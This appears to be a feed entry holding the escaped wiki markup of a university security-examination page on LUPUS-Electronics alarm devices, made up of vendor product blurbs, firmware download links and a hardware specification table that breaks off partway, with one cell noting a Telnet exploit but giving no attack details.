		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_LUPUS-Electronics_devices&amp;diff=4636"/>
		<updated>2020-10-15T13:34:13Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
[[File:LUPUSEC Universum.jpg|230px|right|thumb|The LUPUSEC Universe&amp;lt;sup&amp;gt;[https://www.lupus-electronics.de/shop/bilder/lupusec/LUPUSEC_Universum_s.jpg]&amp;lt;/sup&amp;gt;]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The German company LUPUS-Electronics is regularly awarded for its security as well as their smart home capabilities by magazines and organisations like the [https://www.av-test.org/en/ AV-TEST]. The latest equipment offers astonishing features, a new firmware and the recent LUPUS UI 3.0. But especially the central units are quite expensive and intended for a longer period of use. In addition, users rarely have the technical knowledge to keep these devices up to date to protect them against security breaches and the like. In this examination a setup is examined which was used as such in a production environment. The device is illuminated without knowledge of access data or the like.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The LUPUSEC Smarthome System is different from other Smart Homes, as it is not only compatible with other manufacturers and has the widest range of accessories with over 80 sensors and hazard alarms, but is primarily a professional wireless alarm system with sabotage protection and connection possibility. The LUPUSEC Smarthome System offers applications in the areas of Video Surveillance, Alarm System and Smart Home. This allows a user to benefit from security, energy and comfort.&amp;lt;sup&amp;gt;[https://www.lupus-electronics.de/en/smart-home/]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUS - XT1 Plus Starter Kit&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;The new LUPUS XT1 Plus offers professional protection and features the most extensive smart home equipment, as well as, video surveillance solutions. The XT1 Plus allows you to connect up to 80 alarm sensors and smart home elements. The door contacts and motion detectors allow you to secure your home around the clock. Via the smartphone app you are informed immediately if someone enters or leaves your home. The XT1 Plus meets the highest demands in terms of data security. Every connection to the XT1 Plus uses a 256bit TLS 1.2 encryption.&lt;br /&gt;
The alarm panel, as well as, every sensor is protected against internal or external tampering.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT1-Plus-Starter-Kit-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUS - XT2 Plus Main Panel&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;The new LUPUSEC XT2 Plus is an innovative burglar alarm, smart home, and video surveillance system that is reliable, easy to use, and extremely versatile. The alarm panel can control your heating, lights, shutters, and other electronic devices. Additionally, you can integrate your cameras, view their live stream, and, thus, immediately discover the source of an alarm. You can connect up to 240 alarm sensors wirelessly to the XT2 Plus. The 256bit SSL encryption of the LUPUSEC-XT2 Plus guarantees that your data connection is secured against intruders. Pre-emptive damage prevention. Simple and secure. That&#039;s the new LUPUSEC-XT2 Plus.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - XT3 Main Panel&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;The new LUPUSEC-XT3 is an innovative burglar alarm, smart home, and video surveillance system that is reliable, easy to use, and extremely versatile. LUPUSEC-XT3 protects your building professionally. You can connect up to 480 alarm sensors via the proprietary radio band of 868MHz. In case of an alarm you will immediately by alarmed via push-notifications, e-mail, SMS, a telephone call, and additionally you can connect a 24/7 guard service. For the transmission of these alarms, the XT3 uses two redundant methods: Via your network and via the integrated GSM module. Professional and secure! Hence, the LUPUSEC-XT3 is certified according to the European quality norm of EN50131 grade 2.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT3-Main-Panel-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - Outdoor siren V2&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Sirens/LUPUSEC-Outdoor-siren-V2-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - Remote Control&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Classic-XT1-Sensoren/LUPUSEC-Remote-control-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - Door Contact V1 (EOL)&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/en/service/eol-product-downloads/ Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Uninvestigated devices&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;[[https://www.lupus-electronics.de/shop/en/ Shop Link]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;EOL Product Downloads&amp;lt;/h3&amp;gt;&lt;br /&gt;
Lots of firmware downloads to play around with. (For educational purposes!)&lt;br /&gt;
* https://www.lupus-electronics.de/en/service/eol-product-downloads/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;XT2 Plus&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;XT3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;XT1 Plus&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Outdoor Siren V2&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Remote Control V1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Door Contact V1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS (Climax)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm, Smart and Video&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm, Smart and Video&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm, Smart and Video&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Outdoor Siren&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remote Control&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Door Contact&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm Panel&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm Panel&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm Panel with accessories&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Attracts Attention in the Neighbourhood&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Arm or Disarm Alarm Panel&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Monitors Open/Close of Windows/Doors&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;665 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;On request&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;400 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;200 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;50 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;50 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q4 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2017 Q2 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2019 Q2 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q2 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q1 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q1 (EOL)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;No input via UART; Telnet exploit!&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not in possession&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not in possession&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not investigated&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not investigated&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not investigated&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;FE, USB B, SIM&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Learn&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Error, Area1, Area2&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;12V/2A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;GSM: Cinterion BGS2-W rev. 01.301 &amp;lt;br&amp;gt;Z-Wave: 868,6625 MHz (Dual Way) &amp;lt;br&amp;gt;Battery: 7,2V Ni-MH 1600mAH&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Z-Wave&amp;lt;br&amp;gt;Battery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Z-Wave&amp;lt;br&amp;gt;Battery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Z-Wave&amp;lt;br&amp;gt;Battery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Faraday GM8126&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;GM812225TF-Qc (Fam. GM812x) SoC &amp;lt;br&amp;gt;FA626TE rev1 (ARMv5TE) (270 MHz)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;264.19&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
